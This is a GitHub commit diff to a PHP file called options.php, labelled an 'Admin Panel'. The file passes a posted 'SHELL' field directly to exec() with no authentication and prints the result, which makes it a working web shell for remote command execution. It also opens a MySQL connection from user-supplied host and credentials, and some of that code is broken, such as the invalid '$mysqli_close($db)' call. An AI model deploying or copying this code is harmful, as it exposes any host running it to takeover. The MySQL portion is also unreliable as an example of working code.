Skip to content
This repository was archived by the owner on Sep 23, 2022. It is now read-only.

Commit e62be6a

Browse files
author
nerdofcode
committed
Improved readability... clear! THE BUILD CURRENTLY DOES NOT EXECUTE MYSQL QUERIES...
1 parent a98a1f0 commit e62be6a

1 file changed

Lines changed: 20 additions & 7 deletions

File tree

options.php

Lines changed: 20 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -12,24 +12,37 @@
1212
<title>Admin Panel</title>
1313
</head>
1414
<body>
15-
<p>Enter MYSQL query below</p>
15+
<p>Below is version v.000001 of admin panel by NerdOfCode</p>
16+
<p>You can execute shell commands seperately from Mysql commands</p>
1617
<form action="" name="query" id="query" method="post">
17-
Shell: <input type="text" id="query_box" name="query_box"></input><br>
18-
DBNAME: <input type="text" id="mysql_get" name="mysql_get"></input><br><br>
19-
Query: <input type="text" id="myquery" name="myquery"></input><br><br>
18+
SHELL: &nbsp;&nbsp;&ensp;&nbsp;&nbsp;<input type="text" id="query_box" name="query_box" placeholder="Ex: whoami"></input><br><br>
19+
DBNAM: &nbsp;&nbsp;&nbsp;<input type="text" id="mysql_get" name="mysql_get" placeholder="ex: custom"></input><br><br>
20+
HOST : &ensp;&ensp;&ensp;<input type="text" id="host" name="host" placeholder="localhost"></input><br><br>
21+
USER : &nbsp;&ensp;&ensp;&nbsp;<input type="text" id="user" name="user"></input><br><br>
22+
PASS : &ensp;&nbsp;&ensp;&ensp;<input type="password" id="pass" name="pass"></input></br><br>
23+
QUERY: &ensp;&nbsp;&nbsp;<input type="text" id="myquery" name="myquery" placeholder="SELECT * FROM test;"></input><br><br>
2024
<button type="Submit" value="Submit">Submit</button>
2125
</form>
2226
</body>
2327

2428
<?php
29+
$db=$_POST['mysql_get'];//Database
30+
$user=$_POST['user'];
31+
$pass=$_POST['pass'];
32+
$query=$_POST['myquery'];//Commands
33+
$host=$_POST['host'];
34+
35+
$mysqli = mysqli_connect($host,$user,$pass,$db) or die("Unable to connect to MYSQL");
36+
mysqli_query($mysqli,"SELECT * FROM users;");
37+
$mysqli_close($db);
2538

26-
$cwd=getcwd();
27-
echo "Current directory: $cwd";
2839

2940

41+
$cwd=getcwd();
42+
echo "<br>Current directory: $cwd<br>";
3043
$shell = $_POST['query_box'];
3144
$run = exec("$shell");
32-
echo $run;
45+
echo "<br><b>Output: $run</b><br>";
3346
?>
3447

3548

0 commit comments

Comments
 (0)